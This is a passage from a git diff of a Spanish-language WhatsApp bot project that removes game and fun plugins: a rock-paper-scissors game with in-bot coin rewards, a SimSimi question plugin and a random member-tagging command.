-let caption = `${lenguajeGB['smsAvisoIIG']()}🎮👾 𝙂𝘼𝙈𝙀𝙎 - 𝙋𝙑𝙋 - 𝙂𝘼𝙈𝙀𝙎 🎮👾\n\n@${m.sender.split`@`[0]} 𝘿𝙀𝙎𝘼𝙁𝙄𝘼 𝘼 @${m.mentionedJid[0].split`@`[0]} 𝘼 𝙐𝙉 (𝙋𝙑𝙋) 𝘿𝙀 𝙋𝙄𝙀𝘿𝙍𝘼, 𝙋𝘼𝙋𝙀𝙇 𝙊 𝙏𝙄𝙅𝙀𝙍𝘼\n\n_*Escribe (aceptar) para aceptar*_\n_*Escribe (rechazar) para rechazar*_`
-let imgplaygame = `https://www.merca2.es/wp-content/uploads/2020/05/Piedra-papel-o-tijera-0003318_1584-825x259.jpeg`
-conn.suit[id] = {
-chat: await conn.sendMessage(m.chat, { text: caption }, {mentions: conn.parseMention(caption)}),
-//await conn.sendButton(m.chat, caption, footer, imgplaygame, [[`Aceptar`], [`Rechazar`]], null, {mentions: conn.parseMention(caption)}),
-id: id,
-p: m.sender,
-p2: m.mentionedJid[0],
-status: 'wait',
-waktu: setTimeout(() => {
-if (conn.suit[id]) conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}⏳ 𝙏𝙄𝙀𝙈𝙋𝙊 𝘿𝙀 𝙀𝙎𝙋𝙀𝙍𝘼 𝙁𝙄𝙉𝘼𝙇𝙄𝙕𝘼𝘿𝙊, 𝙀𝙇 𝙋𝙑𝙋 𝙎𝙀 𝘾𝘼𝙉𝘾𝙀𝙇𝘼 𝙋𝙊𝙍 𝙁𝘼𝙇𝙏𝘼 𝘿𝙀 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼`, m)
-
-delete conn.suit[id]
-}, timeout), poin, poin_lose, poin_bot, timeout
-}}
-handler.help = ['ppt']
-handler.tags = ['games']
-handler.command = /^(ppt|suitpvp)$/i
-handler.group = true
-handler.game = true
-handler.register = true
-export default handler
-
-/*
-let handler = async (m, { conn, text, command, usedPrefix, args }) => {
-//let pp = 'https://www.bighero6challenge.com/images/thumbs/Piedra,-papel-o-tijera-0003318_1584.jpeg'
-let pp = 'https://telegra.ph/file/c7924bf0e0d839290cc51.jpg'
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-// 60000 = 1 minuto // 30000 = 30 segundos // 15000 = 15 segundos // 10000 = 10 segundos
-let time = global.db.data.users[m.sender].wait + 40000
-let textos = `𝙋𝙄𝙀𝘿𝙍𝘼, 𝙋𝘼𝙋𝙀𝙇, 𝙊 𝙏𝙄𝙅𝙀𝙍𝘼\n\n𝙥𝙪𝙚𝙙𝙚𝙨 𝙪𝙨𝙖𝙧 𝙚𝙨𝙩𝙤𝙨 𝙘𝙤𝙢𝙖𝙣𝙙𝙤𝙨:\n${usedPrefix + command} 𝙥𝙞𝙚𝙙𝙧𝙖\n${usedPrefix + command} 𝙥𝙖𝙥𝙚𝙡\n${usedPrefix + command} 𝙩𝙞𝙟𝙚𝙧𝙖\n\n𝙐𝙨𝙚 𝙚𝙣 𝙢𝙞𝙣𝙪𝙨𝙘𝙪𝙡𝙖𝙨\n\n${wm}`
-if (new Date - global.db.data.users[m.sender].wait < 40000) return await conn.reply(m.chat, `*🕓 𝙀𝙎𝙋𝙀𝙍𝘼 ${Math.floor((time - new Date()) / 1000)} 𝙎𝙀𝙂𝙐𝙉𝘿𝙊𝙎 𝘼𝙉𝙏𝙀𝙎 𝘿𝙀 𝙋𝙊𝘿𝙀𝙍 𝙑𝙊𝙇𝙑𝙀𝙍 𝘼 𝙅𝙐𝙂𝘼𝙍*\n\n*𝙒𝘼𝙄𝙏 ${Math.floor((time - new Date()) / 1000)} 𝙎𝙀𝘾𝙊𝙉𝘿𝙎 𝘽𝙀𝙁𝙊𝙍𝙀 𝙔𝙊𝙐 𝘾𝘼𝙉 𝙋𝙇𝘼𝙔 𝘼𝙂𝘼𝙄𝙉*`, fkontak, m)
-if (!args[0]) return await conn.sendMessage(m.chat, { image: { url: pp }, caption: textos, quoted: fkontak })
-var astro = Math.random()
-if (astro < 0.34) {
-astro = 'piedra'
-} else if (astro > 0.34 && astro < 0.67) {
-astro = 'tijera'
-} else {
-astro = 'papel'
-}
-if (text == astro) {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 2
-
- await conn.reply(m.chat, `╭━━━━[ 𝙀𝙈𝙋𝘼𝙏𝙀! 🤝 ]━━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💸 𝘽𝙤𝙣𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙀𝙈𝙋𝘼𝙏𝙀! 🤝 ]━━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💸 𝘽𝙤𝙣𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else if (text == 'papel') {
-if (astro == 'piedra') {
-//global.db.data.users[m.sender].uang += 1000
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 100
-
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money -= 500
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-}
-} else if (text == 'tijera') {
-if (astro == 'papel') {
-//global.db.data.users[m.sender].uang += 125
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 175
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money -= 95
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-}
-} else if (text == 'tijera') {
-if (astro == 'papel') {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 225
-//global.db.data.users[m.sender].uang += 1000
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money -= 90
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-}
-} else if (text == 'papel') {
-if (astro == 'piedra') {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 75
-//global.db.data.users[m.sender].uang += 1000
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money -= 240
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-}
-} else if (text == 'piedra') {
-if (astro == 'tijera') {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money += 300
-//global.db.data.users[m.sender].uang += 1000
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-/*conn.sendHydrated(m.chat, `╭━━━━[ 𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉 ]━━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃💰 𝙋𝙧𝙚𝙢𝙞𝙤: $${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: $${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, yt, '𝙔𝙤𝙪𝙏𝙪𝙗𝙚', null, null, [
-['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-} else {
-let who
-if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
-else who = m.sender
-let name = conn.getName(who)
-let money = global.db.data.users[who].money
-let money0 = global.db.data.users[m.sender].money -= 210
-await conn.reply(m.chat, `╭━━━━[ 𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡 ]━━⬣\n┃${name} 𝙐𝙨𝙩𝙚𝙙: ${text}\n┃🐱 𝙂𝙖𝙩𝙖𝘽𝙤𝙩: ${astro}\n┃📈 𝙋𝙚𝙧𝙙𝙞𝙙𝙖: ${[money0].getRandom()} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n┃💵 𝙎𝙪 𝘿𝙞𝙣𝙚𝙧𝙤: ${money} 𝙂𝙖𝙩𝙖𝘾𝙤𝙞𝙣𝙨\n╰━━━━━━[ ${vs} ]━━━━━⬣`, fkontak, m)
-}}
-global.db.data.users[m.sender].wait = new Date * 1
-}
-handler.help = ['ppt']
-handler.tags = ['games']
-handler.command = /^(ppt)$/i
-export default handler
-
-function pickRandom(list) {
-return list[Math.floor(Math.random() * list.length)]}*/
diff --git a/plugins/fun-pregunta.js b/plugins/fun-pregunta.js
deleted file mode 100644
index ab96b74a9..000000000
--- a/plugins/fun-pregunta.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import fetch from 'node-fetch'
-
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-
- let name = conn.getName(m.sender)
- if (!text) throw `✳️ *Ejemplo :*\n\n *${usedPrefix + command}* eres puto`
-
- //let res = await fetch(global.API('https://api.simsimi.net', '/v2/', { text: encodeURIComponent(text), lc: "es" }, ''))
- await conn.sendPresenceUpdate('composing', m.chat)
- let res = await fetch(`https://api.simsimi.net/v2/?text=${text}&lc=es`)
- let json = await res.json()
- if (json.success)
-m.reply(`🤔 𝙋𝙍𝙀𝙂𝙐𝙉𝙏𝘼: ${text}
-
-✅ 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 : ${json.success.replace('simsimi', 'simsimi').replace('Simsimi', 'Simsimi').replace('sim simi', 'sim simi')}`)
-}
-
-handler.help = ['pregunta ?']
-handler.tags = ['kerang']
-handler.command = /^pregunta|preguntas|apakah$/i
-
-export default handler
-
diff --git a/plugins/fun-random.js b/plugins/fun-random.js
deleted file mode 100644
index cca00a284..000000000
--- a/plugins/fun-random.js
+++ /dev/null
@@ -1,21 +0,0 @@
-let handler = async (m, { conn, command, usedPrefix, text, groupMetadata }) => {
-
-if (!text) throw `Uso correcto:
-${usedPrefix + command} el mas puto`
-let em = ['😀','😂','🍑','😍','🤤','🥵','😐','🙂','😎','👻','💩','🥴','🤑','🤓']
-
- let toM = a => '@' + a.split('@')[0]
- let ps = groupMetadata.participants.map(v => v.id)
- let a = ps.getRandom()
- let am = em.getRandom()
- await conn.sendButton(m.chat, `${toM(a)} *${text}*${am}`, author, null, [['Otro', '.random ' + text]], m,{mentions: [a]})
-
-}
-
-handler.command = handler.help = ['random']
-handler.tags = ['fun']
-
-handler.group = true
-
-export default handler
-
\ No newline at end of file
diff --git a/plugins/frases-frases.js b/plugins/fun-randow.js
similarity index 61%
rename from plugins/frases-frases.js
rename to plugins/fun-randow.js
index 967572db9..e6e1d47ad 100644
--- a/plugins/frases-frases.js
+++ b/plugins/fun-randow.js
@@ -1,35 +1,351 @@
-const contoh = `*Asmaul Husna*
-`
-// data here
-const anjuran = `
